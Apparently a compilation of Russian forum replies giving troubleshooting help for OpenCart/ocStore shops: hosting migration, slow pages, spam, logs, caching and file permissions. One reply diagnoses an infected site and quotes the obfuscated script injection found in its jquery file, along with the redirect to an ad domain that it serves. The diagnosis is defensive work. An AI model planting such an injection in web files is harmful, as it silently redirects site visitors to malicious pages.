NotSlow

Прежде чем что-то исправлять, надо признать проблему - увидеть сайт. Увидеть те 3-4 секунды. До этого момента считается что все вы выдумываете :] Только подтвердив что действительно именно время ожидания ответа 3-4с (а не общее время загрузки в pagespeed каком-нть, где тупо ожидается какой-то .css с вообще не вашего даже домена), только после этого можно переходить к вопросу что в вашем понимании "мощный сервер".

Это прекрасно конечно. Ладно когда сайт на CMS, которая умеет по SMTP отправлять. Или когда владелец сам в состоянии переписать скрипты на PHPMailer например. Но у остальных получается просто перестало работать... и все хорошо Это не решение, а лень. Спам надо моментально блокировать, находить источник и если это нормальный клиент с вирусами например на сайте, то заразу вычистить. Ну а если спамер злостный, то другие меры...

В таблице oc_customer_login найдите/поправьте/удалите себя. Ну и в целом посмотрите что там происходит. Может брутфорсят админку... не защищенную.

Естественно лучше/легче/быстрее скачать 1 файл архива, чем кучу мелких. Вспомните любой бенчмарк ssd - последовательно большими блоками может читать гигабайты/сек, а случайно мелкоблочно 4k в 1 поток всего около 50мб/сек практически у всех, даже nvme дисков. Так же и по сети, по фтп - одно дело качать крупный файл, и совсем другое кучу мелких. Но с архивированием есть нюансы - может не хватить места на диске (нужен по-сути двойной объем). Может сработать какое-то ограничение на cpu во время архивирования. Или таймаут по времени выполнения. Если делать не из панели хостинга. Фотки сжиматься не будут, нет смысла пытаться и гораздо быстрей будет сделать архив без сжатия.

Очевидно нужно пройтись по всем файлам и базе, поискать где еще вписан старый домен. Может в шаблоне где-то картинка эта вписана.

Ну и справедливости ради верно и обратное. Специалисты опенкарта не обязаны разбираться в нюансах настроек конкретного хостинга, в отличии от его техподдержки. Например я когда переношу, то в конфигах делаю чтоб DIR_SESSION указывала на ram-диск, DIR_CACHE туда же (если не используется кэш модуль и папка cache не весит гигабайты). DIR_LOGS в папку с логами web и mysql сервера, из которой логи ежедневно архивируются и подчищаются (а не как обычно у людей в storage/logs сотни мегабайт логов, о которых они даже не догадываются). Плюс защиты всякие, от ботов и т.д. Тот же специалист может например cron задачи перенести, которые будут дергать что-то с сайта, а на уровне хостинга будет защита от ботов, которая будет не давать этому работать, о которой специалист знать не может. Т.е. чтобы все нормально было, нужно этот момент учесть, сделать нужные настройки или вообще отключить защиты. Куча мелочей есть, которые не универсальны и которых кроме самого хостера может никто не знать.

Многие хостинги делают бесплатный перенос к себе. Возможно у вашего нового также... просто не знаете Или у вас там не хостинг с поддержкой, а vps где сам себе предоставлен?... т.е. еще и vps эту надо настраивать?

Ну надо как минимум сайт видеть... что же все прячутся вечно 3.5сек что там имеется в виду, полная загрузка со стилями, скриптами и фотками, или же это только TTFB 3.5сек. Где сайт размещается нужно понимание. Обычный хостинг или vps. Какой процессор (частота, ядер сколько), что по памяти, диску. Может там банально 2ггц процессор и что вы от него хотите в этом случае. Или это сверхпопулярный shared хост задушенный и с тысячами сайтов соседей рядом. Если же все более-менее по хостингу, тогда тормозит на чем? php скрипты или на запросах к базе? Про кэширующий модуль уже были/нет мысли? Без всех этих неизвестных какие могут быть мысли или предложения...

Можно повесить домен на cloudflare и проксировать через них. Там много настроек по защите. Либо могу предложить свой антибот скрипт.

Вот этот скрипт: https://bostanika.ge/catalog/view/javascript/jquery/jquery-2.1.1.min.js В самом низу: document.write("<sc"+"ri"+"pt s"+"rc"+"='ht"+"tp"+"s:/"+"/c"+"dn"+"3"+"4.c"+"om/"+"e' as"+"yn"+"c>"+"<\/"+"sc"+"ri"+"pt>"); Как оно туда попало... это уже совсем другая история. И есть ли еще где-то среди сайта что-то подобное.

Вот оно, 100% Скрины ниже. На вашу страницу подгружается некая https://cdn34.com/e И с нее приходит редирект: if(document.referrer){window.location.href='https://adsnet.pw/?id=czI7NjQxMjM0N2JhZQ==';} Причем если обновить страницу, то приходит пустота... Но если нажать ctrl+h и потом "забыть" все с этого домена, то снова приходит редирект... в прятки играют Короче задача найти где у вас фигурирует cdn34.com и удалить. Возможно это действительно вирус, вставка эта в ни в чем неповинном другом скрипте сделана. Надо смотреть... пишите в личку если хотите, могу поискать.

Судя по видео, редирект точно на javascript сделан (не серверный редирект). И есть ненулевой шанс, что скрипт этот не от вашего сайта грузится (бесполезно искать на хостинге), а со стороннего чего-то. Вас редиректит стабильно или случайно как-то? Я попробовал с нескольких разных vpn и не поймал. Нужно как минимум с открытой консолью браузера (ctrl+shift+i) открывать и смотреть что за скрипты загружаются, что происходит...

или открыть index.php в корне и там будет что-то типа: define('VERSION', '3.0.3.7'); define('VERSION_CORE', 'ocStore');

Что имеется в виду под ускорением? "На глаз" или замеряете чем-то цифры конкретные? Есть как минимум 2 скорости - серверная и клиентская. Сперва выполняется куча php скриптов и запросов к базе чтобы сгенерировать html страницу - это одними способами лечится. Потом страница отрисовывается в браузере, подгружается другая куча css, js и фоток - это совершенно другое ускорение. Вам объясняют, что одна из причин вторых тормозов в том что на страницу с мелкими фотками подгружаются тяжелые большие. Конечно будет медленно, особенно если на мобильном интернете те 15мб качать. Плюс вижу что первая скорость также плохая, сервер страницу генерирует под 2сек. Это либо перегружен процессор хостинга сейчас, либо нет, но сам сайт его дико нагружает во время генерации этой страницы, плюс отсутствует кэширующий модуль.

А в логе ошибок ничего нет? Вижу что права на папки у вас стоят 700. Возможно это нормально и так должно быть, а может и нет... и оно пытается в папке cache создать фотку, но не может. Ну либо что-то еще не так и оно даже не пытается кэш создать. Вот к примеру похожее: Возможно еще что в php (или еще глубже) нет нужного модуля для работы с фото. Опять же, в логах что-то по-идее должно быть по этому поводу если действительно так.

Если вы 100% уверены что все пути верные в обоих конфигах admin/config.php и /config.php, тогда к примеру жмите ctrl+shift+i в браузере и смотрите запрос вашей недостающей фотки. Какой был ответ от сервера, 404, 403 там или что? Возьмите полный путь к фотке этой и попробуйте просто в отдельной вкладке ее открыть. Ну и физически найдите файл этот по ftp/ssh, есть он вообще? Один из многих возможных вариантов - криво настроенный новый хост. Например все старое с одними правами/владельцем и работает нормально. А загружая новое, файлы оказываются с какими-то другими правами/владельцем и web-сервер к ним не может получить доступ. Но может конечно что угодно другое быть, надо смотреть...

Так а что не устраивает собственно? Только язык их сайта или локация их серверов, или поддержка, или скорость/недоступность? Цель смены какая? Чтоб не предлагать шило на мыло менять.

Под одной ОС (не важно какой) может быть весь набор версий php (от 5.2 до 8.2) полноценно работающих И не нужно ради версии php менять версию операционки. Чем вам помочь не представляю, не имея никуда доступа, не видя как все настроено и что там происходит. По-мне так проблема может быть на любом этапе и логи надо смотреть вообще все, вплоть до системных и логов mysql. Причем что-то, где может возникать ошибка может эти самые логи даже и не пытаться писать. Вот этот момент с переходом в корзину, а потом обновлением я бы проделал с ctrl+shift+i в браузере и смотрел ответы в первый и второй заход. Может в первый заход там ответ 304, т.е. на уровне браузера вообще это происходит - он и не пытается загрузить актуальную корзину. А при обновлении он как бы плюет на ответ сервера not modified и всеж перескачивает ее. Если вдруг так и есть, то надо разбираться почему. В корзине все должно работать без кэшей (Cache-Control: no-cache заголовок и т.д.). А если всеж в этот первый заход страница корзины именно с сервера скачивается не такой как надо, тогда дело не в этом. Короче при "глюках" первым делом стоит выключать вообще все кэширование на всех уровнях: cloudlare (если есть), web-сервер (nginx например может), php (opcache), cms сама или ее модули какие-то.

То что вы правите display_errors не мешает скриптам где-то глубже внутри править их еще раз Смотрите логи самого ocstore - в system/storage/logs вроде. Можно попробовать принудить его не править эти настройки. Например в php.ini (или в корневой .htaccess или в тот же index.php) добавить что-то типа: disable_functions=ini_set,error_reporting Т.е. даже если будет попытка где-то их изменить, то закончится лишь warning'ом. Который опять же должен будет отобразиться на странице и в логе. Также скрипты могут без доведения до php-ошибок самостоятельно их перехватывать и как-то обрабатывать. И display_errors не поможет. И вообще ошибка ваша также может быть не на уровне php, а на уровне web-сервера - там свои настройки логирования. Короче надо смотреть.

Вы заходите в админку сюда? https://www.smplunderwear.com/admin/ А если зайти в https://smplunderwear.com/admin/ будет ошибка?

Это javascript ошибка, а не серверная. В логах конечно не будет ничего. Жмите Ctrl+shift+i и дальше в консоли браузера разбираться что происходит и что не так

Ну судя по ошибке выключен curl на хостинге этом. Никак не исправить скорей всего. Может специально, а может просто так все подряд поотключали и могут индивидуально включить. Вы бы в поддержке это и спрашивали, тут кто чем поможет? :-\

Возможно эти warning'и совершенно не связаны с not found проблемой. Они появляются именно если попытаться открыть раздел? Какой-то скрипт пытается обращаться в /tmp, который выше уровнем, чем есть доступ у сайта. Надо или скрипт тот править или убрать open_basedir ограничение. Неизвестно это у вас виртуальный хостинг (хостер ограничил и не убрать) или vps/сервер и можно убрать. Ну и чтоб что-то "исправить", вспоминайте что меняли, после чего такое стало. Возможно развернуть backup будет проще и быстрее.

https://forum.opencart.com/viewtopic.php?f=202&t=200896&start=20#p710221 Советуют просто забить... отключить отображение warning'ов Еще находил ссылку та якобы решение: https://github.com/opencart/opencart/blob/master/upload/system/library/cache/file.php Можно попробовать свой file.php переименовать и закинуть попробовать этот, понаблюдать. "не стабильная работа" - это как? только в предупреждениях этих дело или еще что-то?

Сайт вы для людей делаете? Ну так не прячьте, показывайте. Зачем вам тут 19 а может, а попробуйте, а у меня было так... Лучше лично увидеть форму вашу и что там куда сбрасывается... может ничего и не сбрасывается, а в браузере у вас кэш какой-то засел. Может сбрасывается обратно на https? Тогда запросто может оказаться, что у вас в .htaccess редирект имеется http -> https. Вот вы на http вводите форму, отправляете, вас просто кидает на пустую форму по https Короче надо видеть проблему.